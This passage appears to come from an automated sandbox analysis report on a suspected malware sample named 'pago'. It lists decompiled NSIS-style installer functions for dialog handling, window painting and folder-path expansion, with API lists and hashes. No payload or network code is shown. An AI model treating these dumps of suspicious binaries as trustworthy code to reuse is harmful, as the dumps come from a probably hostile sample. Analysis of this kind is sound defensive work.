                                                                  				signed int* _t116;
                                                                  				WCHAR* _t117;
                                                                  				struct HWND__* _t118;
                                                                  
                                                                  				if(_a8 != 0x110) {
                                                                  					if(_a8 != 0x111) {
                                                                  						L13:
                                                                  						if(_a8 != 0x4e) {
                                                                  							if(_a8 == 0x40b) {
                                                                  								 *0x42b234 =  *0x42b234 + 1;
                                                                  							}
                                                                  							L27:
                                                                  							_t114 = _a16;
                                                                  							L28:
                                                                  							return E00404500(_a8, _a12, _t114);
                                                                  						}
                                                                  						_t56 = GetDlgItem(_a4, 0x3e8);
                                                                  						_t114 = _a16;
                                                                  						if( *((intOrPtr*)(_t114 + 8)) == 0x70b &&  *((intOrPtr*)(_t114 + 0xc)) == 0x201) {
                                                                  							_t103 =  *((intOrPtr*)(_t114 + 0x1c));
                                                                  							_t113 =  *((intOrPtr*)(_t114 + 0x18));
                                                                  							_v12 = _t103;
                                                                  							_v16 = _t113;
                                                                  							_v8 = 0x432ea0;
                                                                  							if(_t103 - _t113 < 0x800) {
                                                                  								SendMessageW(_t56, 0x44b, 0,  &_v16);
                                                                  								SetCursor(LoadCursorW(0, 0x7f02));
                                                                  								_push(1);
                                                                  								E00404907(_a4, _v8);
                                                                  								SetCursor(LoadCursorW(0, 0x7f00));
                                                                  								_t114 = _a16;
                                                                  							}
                                                                  						}
                                                                  						if( *((intOrPtr*)(_t114 + 8)) != 0x700 ||  *((intOrPtr*)(_t114 + 0xc)) != 0x100) {
                                                                  							goto L28;
                                                                  						} else {
                                                                  							if( *((intOrPtr*)(_t114 + 0x10)) == 0xd) {
                                                                  								SendMessageW( *0x434f08, 0x111, 1, 0);
                                                                  							}
                                                                  							if( *((intOrPtr*)(_t114 + 0x10)) == 0x1b) {
                                                                  								SendMessageW( *0x434f08, 0x10, 0, 0);
                                                                  							}
                                                                  							return 1;
                                                                  						}
                                                                  					}
                                                                  					if(_a12 >> 0x10 != 0 ||  *0x42b234 != 0) {
                                                                  						goto L27;
                                                                  					} else {
                                                                  						_t69 =  *0x42c240; // 0x4dbf9c
                                                                  						_t29 = _t69 + 0x14; // 0x4dbfb0
                                                                  						_t116 = _t29;
                                                                  						if(( *_t116 & 0x00000020) == 0) {
                                                                  							goto L27;
                                                                  						}
                                                                  						 *_t116 =  *_t116 & 0xfffffffe | SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
                                                                  						E004044BB(SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
                                                                  						E004048E3();
                                                                  						goto L13;
                                                                  					}
                                                                  				}
                                                                  				_t117 = _a16;
                                                                  				_t75 =  *(_t117 + 0x30);
                                                                  				if(_t75 < 0) {
                                                                  					_t111 =  *0x433edc; // 0x4e3036
                                                                  					_t75 =  *(_t111 - 4 + _t75 * 4);
                                                                  				}
                                                                  				_t76 =  *0x434f38 + _t75 * 2;
                                                                  				_t110 =  *_t76 & 0x0000ffff;
                                                                  				_a8 = _t110;
                                                                  				_t78 =  &(_t76[1]);
                                                                  				_a16 = _t78;
                                                                  				_v16 = _t78;
                                                                  				_v12 = 0;
                                                                  				_v8 = E00404609;
                                                                  				if(_t110 != 2) {
                                                                  					_v8 = E004045CF;
                                                                  				}
                                                                  				_push( *((intOrPtr*)(_t117 + 0x34)));
                                                                  				_push(0x22);
                                                                  				E00404499(_a4);
                                                                  				_push( *((intOrPtr*)(_t117 + 0x38)));
                                                                  				_push(0x23);
                                                                  				E00404499(_a4);
                                                                  				CheckDlgButton(_a4, (0 | ( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, 1);
                                                                  				E004044BB( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001);
                                                                  				_t118 = GetDlgItem(_a4, 0x3e8);
                                                                  				E004044CE(_t118);
                                                                  				SendMessageW(_t118, 0x45b, 1, 0);
                                                                  				_t92 =  *( *0x434f10 + 0x68);
                                                                  				if(_t92 < 0) {
                                                                  					_t92 = GetSysColor( ~_t92);
                                                                  				}
                                                                  				SendMessageW(_t118, 0x443, 0, _t92);
                                                                  				SendMessageW(_t118, 0x445, 0, 0x4010000);
                                                                  				SendMessageW(_t118, 0x435, 0, lstrlenW(_a16));
                                                                  				 *0x42b234 = 0;
                                                                  				SendMessageW(_t118, 0x449, _a8,  &_v16);
                                                                  				 *0x42b234 = 0;
                                                                  				return 0;
                                                                  			}




















                                                                  0x0040466a
                                                                  0x00404797
                                                                  0x004047f4
                                                                  0x004047f8
                                                                  0x004048c5
                                                                  0x004048c7
                                                                  0x004048c7
                                                                  0x004048cd
                                                                  0x004048cd
                                                                  0x004048d0
                                                                  0x00000000
                                                                  0x004048d7
                                                                  0x00404806
                                                                  0x0040480c
                                                                  0x00404816
                                                                  0x00404821
                                                                  0x00404824
                                                                  0x00404827
                                                                  0x00404832
                                                                  0x00404835
                                                                  0x0040483c
                                                                  0x00404849
                                                                  0x0040485a
                                                                  0x00404860
                                                                  0x00404868
                                                                  0x00404876
                                                                  0x0040487c
                                                                  0x0040487c
                                                                  0x0040483c
                                                                  0x00404886
                                                                  0x00000000
                                                                  0x00404891
                                                                  0x00404895
                                                                  0x004048a5
                                                                  0x004048a5
                                                                  0x004048ab
                                                                  0x004048b7
                                                                  0x004048b7
                                                                  0x00000000
                                                                  0x004048bb
                                                                  0x00404886
                                                                  0x004047a2
                                                                  0x00000000
                                                                  0x004047b4
                                                                  0x004047b4
                                                                  0x004047b9
                                                                  0x004047b9
                                                                  0x004047bf
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x004047e8
                                                                  0x004047ea
                                                                  0x004047ef
                                                                  0x00000000
                                                                  0x004047ef
                                                                  0x004047a2
                                                                  0x00404670
                                                                  0x00404673
                                                                  0x00404678
                                                                  0x0040467a
                                                                  0x00404689
                                                                  0x00404689
                                                                  0x00404691
                                                                  0x00404694
                                                                  0x00404698
                                                                  0x0040469b
                                                                  0x0040469f
                                                                  0x004046a2
                                                                  0x004046a5
                                                                  0x004046a8
                                                                  0x004046af
                                                                  0x004046b1
                                                                  0x004046b1
                                                                  0x004046bb
                                                                  0x004046c8
                                                                  0x004046d2
                                                                  0x004046d7
                                                                  0x004046da
                                                                  0x004046df
                                                                  0x004046f6
                                                                  0x004046fd
                                                                  0x00404710
                                                                  0x00404713
                                                                  0x00404727
                                                                  0x0040472e
                                                                  0x00404733
                                                                  0x00404738
                                                                  0x00404738
                                                                  0x00404746
                                                                  0x00404754
                                                                  0x00404766
                                                                  0x0040476b
                                                                  0x0040477b
                                                                  0x0040477d
                                                                  0x00000000

                                                                  APIs
                                                                  • CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004046F6
                                                                  • GetDlgItem.USER32 ref: 0040470A
                                                                  • SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404727
                                                                  • GetSysColor.USER32(?), ref: 00404738
                                                                  • SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404746
                                                                  • SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 00404754
                                                                  • lstrlenW.KERNEL32(?), ref: 00404759
                                                                  • SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 00404766
                                                                  • SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 0040477B
                                                                  • GetDlgItem.USER32 ref: 004047D4
                                                                  • SendMessageW.USER32(00000000), ref: 004047DB
                                                                  • GetDlgItem.USER32 ref: 00404806
                                                                  • SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404849
                                                                  • LoadCursorW.USER32(00000000,00007F02), ref: 00404857
                                                                  • SetCursor.USER32(00000000), ref: 0040485A
                                                                  • LoadCursorW.USER32(00000000,00007F00), ref: 00404873
                                                                  • SetCursor.USER32(00000000), ref: 00404876
                                                                  • SendMessageW.USER32(00000111,00000001,00000000), ref: 004048A5
                                                                  • SendMessageW.USER32(00000010,00000000,00000000), ref: 004048B7
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
                                                                  • String ID: 60N$Call$N
                                                                  • API String ID: 3103080414-3533457018
                                                                  • Opcode ID: ce357ac6e0fd4f2b4f67e04795876aef6a46bd5fea1783cb4cf669a44dc9f0f8
                                                                  • Instruction ID: e0aa441e67ff77812dea5cfa76c138b5706349c0d06c8e95e02877fce1cb63d1
                                                                  • Opcode Fuzzy Hash: ce357ac6e0fd4f2b4f67e04795876aef6a46bd5fea1783cb4cf669a44dc9f0f8
                                                                  • Instruction Fuzzy Hash: 1A61A3B5900209BFDB10AF60DD85E6A7BA9FB44314F00843AFB05B62D0D778A951DF98
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 90%
                                                                  			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
                                                                  				struct tagLOGBRUSH _v16;
                                                                  				struct tagRECT _v32;
                                                                  				struct tagPAINTSTRUCT _v96;
                                                                  				struct HDC__* _t70;
                                                                  				struct HBRUSH__* _t87;
                                                                  				struct HFONT__* _t94;
                                                                  				long _t102;
                                                                  				signed int _t126;
                                                                  				struct HDC__* _t128;
                                                                  				intOrPtr _t130;
                                                                  
                                                                  				if(_a8 == 0xf) {
                                                                  					_t130 =  *0x434f10;
                                                                  					_t70 = BeginPaint(_a4,  &_v96);
                                                                  					_v16.lbStyle = _v16.lbStyle & 0x00000000;
                                                                  					_a8 = _t70;
                                                                  					GetClientRect(_a4,  &_v32);
                                                                  					_t126 = _v32.bottom;
                                                                  					_v32.bottom = _v32.bottom & 0x00000000;
                                                                  					while(_v32.top < _t126) {
                                                                  						_a12 = _t126 - _v32.top;
                                                                  						asm("cdq");
                                                                  						asm("cdq");
                                                                  						asm("cdq");
                                                                  						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
                                                                  						_t87 = CreateBrushIndirect( &_v16);
                                                                  						_v32.bottom = _v32.bottom + 4;
                                                                  						_a16 = _t87;
                                                                  						FillRect(_a8,  &_v32, _t87);
                                                                  						DeleteObject(_a16);
                                                                  						_v32.top = _v32.top + 4;
                                                                  					}
                                                                  					if( *(_t130 + 0x58) != 0xffffffff) {
                                                                  						_t94 = CreateFontIndirectW( *(_t130 + 0x34));
                                                                  						_a16 = _t94;
                                                                  						if(_t94 != 0) {
                                                                  							_t128 = _a8;
                                                                  							_v32.left = 0x10;
                                                                  							_v32.top = 8;
                                                                  							SetBkMode(_t128, 1);
                                                                  							SetTextColor(_t128,  *(_t130 + 0x58));
                                                                  							_a8 = SelectObject(_t128, _a16);
                                                                  							DrawTextW(_t128, 0x433f00, 0xffffffff,  &_v32, 0x820);
                                                                  							SelectObject(_t128, _a8);
                                                                  							DeleteObject(_a16);
                                                                  						}
                                                                  					}
                                                                  					EndPaint(_a4,  &_v96);
                                                                  					return 0;
                                                                  				}
                                                                  				_t102 = _a16;
                                                                  				if(_a8 == 0x46) {
                                                                  					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
                                                                  					 *((intOrPtr*)(_t102 + 4)) =  *0x434f08;
                                                                  				}
                                                                  				return DefWindowProcW(_a4, _a8, _a12, _t102);
                                                                  			}













                                                                  0x0040100a
                                                                  0x00401039
                                                                  0x00401047
                                                                  0x0040104d
                                                                  0x00401051
                                                                  0x0040105b
                                                                  0x00401061
                                                                  0x00401064
                                                                  0x004010f3
                                                                  0x00401089
                                                                  0x0040108c
                                                                  0x004010a6
                                                                  0x004010bd
                                                                  0x004010cc
                                                                  0x004010cf
                                                                  0x004010d5
                                                                  0x004010d9
                                                                  0x004010e4
                                                                  0x004010ed
                                                                  0x004010ef
                                                                  0x004010ef
                                                                  0x00401100
                                                                  0x00401105
                                                                  0x0040110d
                                                                  0x00401110
                                                                  0x00401112
                                                                  0x00401118
                                                                  0x0040111f
                                                                  0x00401126
                                                                  0x00401130
                                                                  0x00401142
                                                                  0x00401156
                                                                  0x00401160
                                                                  0x00401165
                                                                  0x00401165
                                                                  0x00401110
                                                                  0x0040116e
                                                                  0x00000000
                                                                  0x00401178
                                                                  0x00401010
                                                                  0x00401013
                                                                  0x00401015
                                                                  0x0040101f
                                                                  0x0040101f
                                                                  0x00000000

                                                                  APIs
                                                                  • DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
                                                                  • BeginPaint.USER32(?,?), ref: 00401047
                                                                  • GetClientRect.USER32 ref: 0040105B
                                                                  • CreateBrushIndirect.GDI32(00000000), ref: 004010CF
                                                                  • FillRect.USER32 ref: 004010E4
                                                                  • DeleteObject.GDI32(?), ref: 004010ED
                                                                  • CreateFontIndirectW.GDI32(?), ref: 00401105
                                                                  • SetBkMode.GDI32(00000000,00000001), ref: 00401126
                                                                  • SetTextColor.GDI32(00000000,000000FF), ref: 00401130
                                                                  • SelectObject.GDI32(00000000,?), ref: 00401140
                                                                  • DrawTextW.USER32(00000000,00433F00,000000FF,00000010,00000820), ref: 00401156
                                                                  • SelectObject.GDI32(00000000,00000000), ref: 00401160
                                                                  • DeleteObject.GDI32(?), ref: 00401165
                                                                  • EndPaint.USER32(?,?), ref: 0040116E
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
                                                                  • String ID: F
                                                                  • API String ID: 941294808-1304234792
                                                                  • Opcode ID: 15a6b7738402934ac822911e252168026e8f0364f08849f6e110b85e8bc9718e
                                                                  • Instruction ID: e457e53e67a16f607b198c8be77aa7e47a8fd9e6aa67a1a07366d16d1d2d9a76
                                                                  • Opcode Fuzzy Hash: 15a6b7738402934ac822911e252168026e8f0364f08849f6e110b85e8bc9718e
                                                                  • Instruction Fuzzy Hash: 0E418B71800209AFCF058FA5DE459AF7FB9FF44315F04802AF991AA1A0C738AA55DFA4
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 72%
                                                                  			E0040657A(void* __ebx, void* __edi, void* __esi, signed int _a4, short _a8) {
                                                                  				struct _ITEMIDLIST* _v8;
                                                                  				signed int _v12;
                                                                  				signed int _v16;
                                                                  				signed int _v20;
                                                                  				signed int _v24;
                                                                  				signed int _v28;
                                                                  				signed int _t44;
                                                                  				WCHAR* _t45;
                                                                  				signed char _t47;
                                                                  				signed int _t48;
                                                                  				short _t59;
                                                                  				short _t61;
                                                                  				short _t63;
                                                                  				void* _t71;
                                                                  				signed int _t77;
                                                                  				signed int _t78;
                                                                  				short _t81;
                                                                  				short _t82;
                                                                  				signed char _t84;
                                                                  				signed int _t85;
                                                                  				intOrPtr _t93;
                                                                  				void* _t98;
                                                                  				void* _t104;
                                                                  				intOrPtr* _t105;
                                                                  				void* _t107;
                                                                  				WCHAR* _t108;
                                                                  				void* _t110;
                                                                  
                                                                  				_t107 = __esi;
                                                                  				_t104 = __edi;
                                                                  				_t71 = __ebx;
                                                                  				_t44 = _a8;
                                                                  				if(_t44 < 0) {
                                                                  					_t93 =  *0x433edc; // 0x4e3036
                                                                  					_t44 =  *(_t93 - 4 + _t44 * 4);
                                                                  				}
                                                                  				_push(_t71);
                                                                  				_push(_t107);
                                                                  				_push(_t104);
                                                                  				_t105 =  *0x434f38 + _t44 * 2;
                                                                  				_t45 = 0x432ea0;
                                                                  				_t108 = 0x432ea0;
                                                                  				if(_a4 >= 0x432ea0 && _a4 - 0x432ea0 >> 1 < 0x800) {
                                                                  					_t108 = _a4;
                                                                  					_a4 = _a4 & 0x00000000;
                                                                  				}
                                                                  				_t81 =  *_t105;
                                                                  				_a8 = _t81;
                                                                  				if(_t81 == 0) {
                                                                  					L43:
                                                                  					 *_t108 =  *_t108 & 0x00000000;
                                                                  					if(_a4 == 0) {
                                                                  						return _t45;
                                                                  					}
                                                                  					return E0040653D(_a4, _t45);
                                                                  				} else {
                                                                  					while((_t108 - _t45 & 0xfffffffe) < 0x800) {
                                                                  						_t98 = 2;
                                                                  						_t105 = _t105 + _t98;
                                                                  						if(_t81 >= 4) {
                                                                  							if(__eflags != 0) {
                                                                  								 *_t108 = _t81;
                                                                  								_t108 = _t108 + _t98;
                                                                  								__eflags = _t108;
                                                                  							} else {
                                                                  								 *_t108 =  *_t105;
                                                                  								_t108 = _t108 + _t98;
                                                                  								_t105 = _t105 + _t98;
                                                                  							}
                                                                  							L42:
                                                                  							_t82 =  *_t105;
                                                                  							_a8 = _t82;
                                                                  							if(_t82 != 0) {
                                                                  								_t81 = _a8;
                                                                  								continue;
                                                                  							}
                                                                  							goto L43;
                                                                  						}
                                                                  						_t84 =  *((intOrPtr*)(_t105 + 1));
                                                                  						_t47 =  *_t105;
                                                                  						_t48 = _t47 & 0x000000ff;
                                                                  						_v12 = (_t84 & 0x0000007f) << 0x00000007 | _t47 & 0x0000007f;
                                                                  						_t85 = _t84 & 0x000000ff;
                                                                  						_v28 = _t48 | 0x00008000;
                                                                  						_t77 = 2;
                                                                  						_v16 = _t85;
                                                                  						_t105 = _t105 + _t77;
                                                                  						_v24 = _t48;
                                                                  						_v20 = _t85 | 0x00008000;
                                                                  						if(_a8 != _t77) {
                                                                  							__eflags = _a8 - 3;
                                                                  							if(_a8 != 3) {
                                                                  								__eflags = _a8 - 1;
                                                                  								if(__eflags == 0) {
                                                                  									__eflags = (_t48 | 0xffffffff) - _v12;
                                                                  									E0040657A(_t77, _t105, _t108, _t108, (_t48 | 0xffffffff) - _v12);
                                                                  								}
                                                                  								L38:
                                                                  								_t108 =  &(_t108[lstrlenW(_t108)]);
                                                                  								_t45 = 0x432ea0;
                                                                  								goto L42;
                                                                  							}
                                                                  							_t78 = _v12;
                                                                  							__eflags = _t78 - 0x1d;
                                                                  							if(_t78 != 0x1d) {
                                                                  								__eflags = (_t78 << 0xb) + 0x436000;
                                                                  								E0040653D(_t108, (_t78 << 0xb) + 0x436000);
                                                                  							} else {
                                                                  								E00406484(_t108,  *0x434f08);
                                                                  							}
                                                                  							__eflags = _t78 + 0xffffffeb - 7;
                                                                  							if(__eflags < 0) {
                                                                  								L29:
                                                                  								E004067C4(_t108);
                                                                  							}
                                                                  							goto L38;
                                                                  						}
                                                                  						if( *0x434f84 != 0) {
                                                                  							_t77 = 4;
                                                                  						}
                                                                  						_t121 = _t48;
                                                                  						if(_t48 >= 0) {
                                                                  							__eflags = _t48 - 0x25;
                                                                  							if(_t48 != 0x25) {
                                                                  								__eflags = _t48 - 0x24;
                                                                  								if(_t48 == 0x24) {
                                                                  									GetWindowsDirectoryW(_t108, 0x400);
                                                                  									_t77 = 0;
                                                                  								}
                                                                  								while(1) {
                                                                  									__eflags = _t77;
                                                                  									if(_t77 == 0) {
                                                                  										goto L26;
                                                                  									}
                                                                  									_t59 =  *0x434f04;
                                                                  									_t77 = _t77 - 1;
                                                                  									__eflags = _t59;
                                                                  									if(_t59 == 0) {
                                                                  										L22:
                                                                  										_t61 = SHGetSpecialFolderLocation( *0x434f08,  *(_t110 + _t77 * 4 - 0x18),  &_v8);
                                                                  										__eflags = _t61;
                                                                  										if(_t61 != 0) {
                                                                  											L24:
                                                                  											 *_t108 =  *_t108 & 0x00000000;
                                                                  											__eflags =  *_t108;
                                                                  											continue;
                                                                  										}
                                                                  										__imp__SHGetPathFromIDListW(_v8, _t108);
                                                                  										_a8 = _t61;
                                                                  										__imp__CoTaskMemFree(_v8);
                                                                  										__eflags = _a8;
                                                                  										if(_a8 != 0) {
                                                                  											goto L26;
                                                                  										}
                                                                  										goto L24;
                                                                  									}
                                                                  									_t63 =  *_t59( *0x434f08,  *(_t110 + _t77 * 4 - 0x18), 0, 0, _t108);
                                                                  									__eflags = _t63;
                                                                  									if(_t63 == 0) {
                                                                  										goto L26;
                                                                  									}
                                                                  									goto L22;
                                                                  								}
                                                                  								goto L26;
                                                                  							}
                                                                  							GetSystemDirectoryW(_t108, 0x400);
                                                                  							goto L26;
                                                                  						} else {
                                                                  							E0040640B( *0x434f38, _t121, 0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion",  *0x434f38 + (_t48 & 0x0000003f) * 2, _t108, _t48 & 0x00000040);
                                                                  							if( *_t108 != 0) {
                                                                  								L27:
                                                                  								if(_v16 == 0x1a) {
                                                                  									lstrcatW(_t108, L"\\Microsoft\\Internet Explorer\\Quick Launch");
                                                                  								}
                                                                  								goto L29;
                                                                  							}
                                                                  							E0040657A(_t77, _t105, _t108, _t108, _v16);
                                                                  							L26:
                                                                  							if( *_t108 == 0) {
                                                                  								goto L29;
                                                                  							}
                                                                  							goto L27;
                                                                  						}
                                                                  					}
                                                                  					goto L43;
                                                                  				}
                                                                  			}






























                                                                  0x0040657a
                                                                  0x0040657a
                                                                  0x0040657a
                                                                  0x00406580
                                                                  0x00406585
                                                                  0x00406587
                                                                  0x00406596
                                                                  0x00406596
                                                                  0x0040659e
                                                                  0x0040659f
                                                                  0x004065a0
                                                                  0x004065a1
                                                                  0x004065a4
                                                                  0x004065ac
                                                                  0x004065ae
                                                                  0x004065bf
                                                                  0x004065c2
                                                                  0x004065c2
                                                                  0x004065c6
                                                                  0x004065cc
                                                                  0x004065cf
                                                                  0x004067aa
                                                                  0x004067aa
                                                                  0x004067b5
                                                                  0x004067c1
                                                                  0x004067c1
                                                                  0x00000000
                                                                  0x004065d5
                                                                  0x004065da
                                                                  0x004065ef
                                                                  0x004065f0
                                                                  0x004065f6
                                                                  0x00406788
                                                                  0x00406796
                                                                  0x00406799
                                                                  0x00406799
                                                                  0x0040678a
                                                                  0x0040678d
                                                                  0x00406790
                                                                  0x00406792
                                                                  0x00406792
                                                                  0x0040679b
                                                                  0x0040679b
                                                                  0x004067a1
                                                                  0x004067a4
                                                                  0x004065d7
                                                                  0x00000000
                                                                  0x004065d7
                                                                  0x00000000
                                                                  0x004067a4
                                                                  0x004065fc
                                                                  0x004065ff
                                                                  0x0040660e
                                                                  0x00406615
                                                                  0x00406621
                                                                  0x00406624
                                                                  0x00406627
                                                                  0x00406628
                                                                  0x0040662d
                                                                  0x00406633
                                                                  0x00406636
                                                                  0x00406639
                                                                  0x0040672c
                                                                  0x00406731
                                                                  0x00406764
                                                                  0x00406769
                                                                  0x0040676e
                                                                  0x00406773
                                                                  0x00406773
                                                                  0x00406778
                                                                  0x0040677e
                                                                  0x00406781
                                                                  0x00000000
                                                                  0x00406781
                                                                  0x00406733
                                                                  0x00406736
                                                                  0x00406739
                                                                  0x0040674e
                                                                  0x00406755
                                                                  0x0040673b
                                                                  0x00406742
                                                                  0x00406742
                                                                  0x0040675d
                                                                  0x00406760
                                                                  0x00406724
                                                                  0x00406725
                                                                  0x00406725
                                                                  0x00000000
                                                                  0x00406760
                                                                  0x00406646
                                                                  0x0040664a
                                                                  0x0040664a
                                                                  0x0040664b
                                                                  0x0040664d
                                                                  0x0040668a
                                                                  0x0040668d
                                                                  0x0040669d
                                                                  0x004066a0
                                                                  0x004066a8
                                                                  0x004066ae
                                                                  0x004066ae
                                                                  0x00406709
                                                                  0x00406709
                                                                  0x0040670b
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x004066b2
                                                                  0x004066b7
                                                                  0x004066b8
                                                                  0x004066ba
                                                                  0x004066d1
                                                                  0x004066df
                                                                  0x004066e5
                                                                  0x004066e7
                                                                  0x00406705
                                                                  0x00406705
                                                                  0x00406705
                                                                  0x00000000
                                                                  0x00406705
                                                                  0x004066ed
                                                                  0x004066f6
                                                                  0x004066f9
                                                                  0x004066ff
                                                                  0x00406703
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00406703
                                                                  0x004066cb
                                                                  0x004066cd
                                                                  0x004066cf
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x004066cf
                                                                  0x00000000
                                                                  0x00406709
                                                                  0x00406695
                                                                  0x00000000
                                                                  0x0040664f
                                                                  0x0040666d
                                                                  0x00406676
                                                                  0x00406713
                                                                  0x00406717
                                                                  0x0040671f
                                                                  0x0040671f
                                                                  0x00000000
                                                                  0x00406717
                                                                  0x00406680
                                                                  0x0040670d
                                                                  0x00406711
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00406711
                                                                  0x0040664d
                                                                  0x00000000
                                                                  0x004065da

                                                                  APIs
                                                                  • GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 00406695
                                                                  • GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll,?,004055D6,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll,00000000,00000000,00425A20,76F1EA30), ref: 004066A8
                                                                  • lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 0040671F
                                                                  • lstrlenW.KERNEL32(Call,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll,?,004055D6,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll,00000000), ref: 00406779
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: Directory$SystemWindowslstrcatlstrlen
                                                                  • String ID: 60N$Call$Skipped: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
                                                                  • API String ID: 4260037668-3512519867
                                                                  • Opcode ID: 0b784a7e5946d1979f34278c46bba3f41134a9dae7c042527df4b3408295a3c8
